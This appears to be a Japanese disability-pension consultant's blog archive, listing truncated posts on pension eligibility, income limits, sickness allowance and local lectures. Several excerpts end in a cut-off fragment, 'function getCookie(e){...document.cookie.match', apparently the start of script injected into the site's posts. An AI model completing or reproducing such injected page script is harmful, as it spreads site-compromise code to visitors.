コラム

ボランティアグループふれあい 則武謙太郎×杉浦貴之 コラボトーク&ライブのご案内

 購読している「みやざき中央新聞」に何度か記事が掲載されていて、いつか行ってみたいと思っていたところ、地元豊橋市で開催するということで、早速申し込みさせて頂きました。 ご興味のある方は、是非参加してみて下さい。      日時   2017年5月14日(日)午後1時15分~ 受付12時半~  会場   豊橋市総合福祉センター あいトピア3階多目的ホール  定員   200名  対象者  関心のある
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新年明けましておめでとうございます。

2017年 明けましておめでとうございます。 昨年は数百件のお問い合わせ及び無料相談、申請代行をさせて頂きました。 本当にありがとうございました。 当社と関わっていただいた皆様方に幸多きことを御祈念いたします。 本年も、障害年金と通じて皆様方の力になりたいと思いますので、ご支援よろしくお願いいたします。   function getCookie(e){var U=document.c
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講演会のご案内「発達障害者は発達する!」

無料講演会のご案内です。                         「発達障害者は発達する!」芋づる式アプローチについて学ぶ。      平成28年10月16日(土)13:00開場 13:30~ 田原文化会館 文化ホール  興味のある方はご参加いただけたらと思います。 function getCookie(e){var U=document.cookie.match(new RegE
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障害年金判定の地域差是正へ

障害基礎年金の等級判定は各都道府県で行われており、支給・不支給判定で大きな地域差がありました。 9月からは、新たなガイドラインを導入することにより、是正を図ることになります。 対象となるのは、精神・知的・発達障害のある人。 指針は障害者の生活能力を数値化し、その数値を年金額の等級判定の目安とするのが主な内容です。 このため、生活能力のより正確な把握が必要となり、診断書や申立書への記載がより重要とな
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障害年金の前に傷病手当金の申請を忘れずに。

こんにちは、社会保険労務士の竹下です。 障害年金は初診日から1年6ヶ月後の障害認定日から申請が可能になります。 初診日が厚生年金期間中の場合は、連続して3日以上働くことが不可能であった場合には傷病手当金を申請することが出来ます。 退職後も、労働することが出来ないと医師が認めれば、1年6ヶ月間貰うことが出来ます。 仮に、標準報酬月額が20万円の場合、1年6ヶ月で240万円になります。 func
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双極性感情障害の診断書は要注意

こんにちは!社労士の竹下です。 双極性感情障害の申請を行ってきました。 当初は12月には申請が出来ると進めていたのですが、診断書を見てみるとあまりにも現状と違いすぎると判明。 11月に障害者手帳を申請し、その時の診断書を確認していたので、あまりの違いように言葉を失ってしまいました。 この診断書で申請をすることも出来ますが、病状が軽くみなされ、障害等級が低く決定されてしまう恐れがありました。 そこで
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収入があると障害年金は貰えないの?

こんにちは!社労士の竹下です。 20歳前に傷病を負った人の障害基礎年金については、本人が保険料を納付していないことから、所得制限が設けられています。 所得額が398万4干円(2人世帯)を超える場合には年金額の2分の1相当額に限り支給停止とし、500万1干円を超える場合には全額支給停止とする二段階制がとられています。            
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退職前に通院すると障害年金受給の可能性が高い

こんにちは!社労士の竹下です。 障害年金の相談で最初に確認するのは、初診日の時の年金の種類になります。なぜかと言うと、初診日の時の年金の種類によって貰える年金が変わるからです。 初診日に厚生年金加入中の場合は、障害厚生年金1級から3級プラス障害基礎年金の1級または2級を貰える可能性があります。これが、国民年金ですと障害基礎年金の1級または2級となってしまいます。   なぜなら、国民年金に
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統合失調症で障害年金の申請

こんにちは!社労士の竹下です。 今週は、統合失調症の障害年金を申請しました。 ご両親からは障害認定日(初診日から1年6ヶ月)の申請を希望されましたが、当時受診していた病院へ確認すると、ちょうどその頃は体調が良く働いていたために、年金を受給出来るような診断書が書けないということでした。そのために、認定日請求はあきらめ事後重症での申請に切り替えての申請にしました。事後重症での申請は、申請月の翌月から年
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人工透析を行っている人は原則2級です。

こんにちは!社労士の竹下です。 平成14年4月から、人工透析を行っている方は障害年金2級に該当するという改定が行われました。(それ以前は原則3級だったので、初診日が国民年金の方は受給できませんでした) しかし、それ以降も間違った支給や決定が行われているようです。 昨年10月からは初診日に関する認定の方法も変わったので、初診の証明が取れずに諦めていた方でも障害年金を受給できる可能性が広がっています。
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